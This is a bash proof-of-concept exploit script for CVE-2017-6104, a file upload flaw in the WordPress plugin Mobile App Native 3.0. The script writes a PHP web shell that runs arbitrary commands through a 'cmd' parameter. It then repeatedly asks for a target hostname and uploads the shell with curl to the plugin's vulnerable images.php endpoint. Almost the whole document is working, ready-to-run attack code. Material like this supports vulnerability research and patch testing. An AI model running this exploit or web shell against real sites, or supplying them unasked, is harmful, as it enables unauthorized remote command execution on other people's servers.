mobile_plugin_exploit.sh

#!/bin/bash
#Exploit for the Wordpress Plugin Mobile App Native 3.0 file upload I posted.
#CVE-2017-6104
#Larry W. Cashdollar,@_larry0
#v1.0

cat > shell.php << -EOF-
<?php
if(isset(\$_REQUEST[‘cmd’])){
        echo "<pre>";
        \$cmd = (\$_REQUEST[‘cmd’]);
        system(\$cmd);
        echo "</pre>";
} else { echo "Please supply a command cmd"; }
?>
-EOF-

red='\033[0;31m'
NC='\033[0m' # No Color

while [ true ]; do 
 echo -e ${red};
 echo -e "		Mobile App Native 3.0 File Upload PoC Redux $NC";
 echo "					3/1/2017";
 echo "			   Larry W. Cashdollar, @_larry0";
 echo
 echo "				  CVE-2017-6104";
 echo "- Advisory -";
 echo "http://www.vapid.dhs.org/advisory.php?v=178";
 echo
 echo "Ctrl ^C to exit";
 echo -n "Enter Target Hostname :";
 read target;
 echo "[+] Hostname $target";
 echo "[+] Exploiting Plugin";
 echo
 RESULT=`curl -# -F 'file=@shell.php' "http://$target/wp-content/plugins/zen-mobile-app-native/server/images.php"`;
 echo "[==========================================================================]"
 echo $RESULT
 echo "[==========================================================================]"
done